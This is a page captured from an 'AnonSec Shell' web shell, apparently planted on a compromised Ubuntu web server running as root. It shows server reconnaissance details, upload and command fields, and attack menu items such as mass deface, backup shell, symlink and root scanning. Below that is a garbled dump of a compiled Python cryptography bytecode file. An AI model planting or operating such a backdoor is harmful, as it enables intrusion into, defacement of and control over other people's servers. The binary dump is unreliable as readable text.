AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-310.pyc
o

g�eA�@s�ddlZddlmZddlmZmZmZmZddlm	Z	ddl
mZddlm
Z
mZmZddlmZGdd	�d	ej�ZGd
d�dej�ZGdd
�d
e�ZdS)�N)�utils)�AlreadyFinalized�
InvalidKey�UnsupportedAlgorithm�_Reasons)�_get_backend)�HMACBackend)�
constant_time�hashes�hmac)�KeyDerivationFunctionc@seZdZdZdS)�Mode�ctrN)�__name__�
__module__�__qualname__�CounterMode�rr�J/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/kbkdf.pyr
sr
c@seZdZdZdZdS)�CounterLocation�before_fixed�after_fixedN)rrr�BeforeFixed�
AfterFixedrrrrrsrc@s�eZdZ	ddejdedededejede	deje
d	eje
d
eje
fdd�Zd
edefdd�Z
de
de
fdd�Zde
fdd�Zde
de
ddfdd�ZdS)�	KBKDFHMACN�	algorithm�mode�length�rlen�llen�location�label�context�fixedcCsFt|
�}
t|
t�stdtj��t|tj�stdtj��|
�	|�s&tdtj��t|t
�s/td��t|t�s8td��|s<|rB|	rBt
d��|dusK|�|�sOt
d��|dur[|	dur[t
d��|durht|t�shtd	��|durnd
}|durtd
}t�d|�t�d|�||_||_||_||_||_||_||_||_|
|_d
|_|	|_dS)Nz.Backend object does not implement HMACBackend.z5Algorithm supplied is not a supported hash algorithm.z5Algorithm supplied is not a supported hmac algorithm.zmode must be of type Modez(location must be of type CounterLocationz9When supplying fixed data, label and context are ignored.zrlen must be between 1 and 4zPlease specify an llenzllen must be an integer�r!r"F)r�
isinstancerrr�BACKEND_MISSING_INTERFACEr
�
HashAlgorithm�UNSUPPORTED_HASH�hmac_supportedr
�	TypeErrorr�
ValueError�_valid_byte_length�intr�_check_bytes�
_algorithm�_mode�_length�_rlen�_llen�	_location�_label�_context�_backend�_used�_fixed_data)�selfrrrrrr r!r"r#�backendrrr�__init__s^
��
�

�
zKBKDFHMAC.__init__�value�returncCsBt|t�s	td��t�d|�}dt|�krdksdSdSdS)Nzvalue must be of type int��FT)r%r-r*r�int_to_bytes�len)r:r=�	value_binrrrr,gs
�zKBKDFHMAC._valid_byte_length�key_materialcCs�|jrt�t�d|�d|_|j|jj}dg}t�d|j�}|t	dt
|�d�dkr2td��td|d�D]7}t
j||j|jd�}t�||j�}|jtjkrW|�|�|�|���|jtjkri|�|�|�|���q9d�|�d|j�S)	NrDTr$r?��zThere are too many iterations.)r;)r8rr�_check_bytesliker1r/�digest_sizerAr2�powrBr+�ranger�HMACr7r4rr�update�_generate_fixed_inputr�append�finalize�join)r:rD�rounds�output�r_bin�i�h�counterrrr�deriveps&

zKBKDFHMAC.derivecCsB|jrt|jt�r|jSt�|jd|j�}d�|jd|j	|g�S)NrFr$�)
r9r%�bytesrrAr1r3rPr5r6)r:�l_valrrrrM�szKBKDFHMAC._generate_fixed_input�expected_keycCst�|�|�|�st�dS�N)r	�bytes_eqrWr)r:rDr[rrr�verify�s�zKBKDFHMAC.verifyr\)rrrr
r'r
r-�typing�OptionalrrYr<�boolr,rWrMr^rrrrrs2��������	�

�H	$r)r_�cryptographyr�cryptography.exceptionsrrrr�cryptography.hazmat.backendsr�'cryptography.hazmat.backends.interfacesr�cryptography.hazmat.primitivesr	r
r�"cryptography.hazmat.primitives.kdfr�Enumr
rrrrrr�<module>s

Anon7 - 2022
AnonSec Team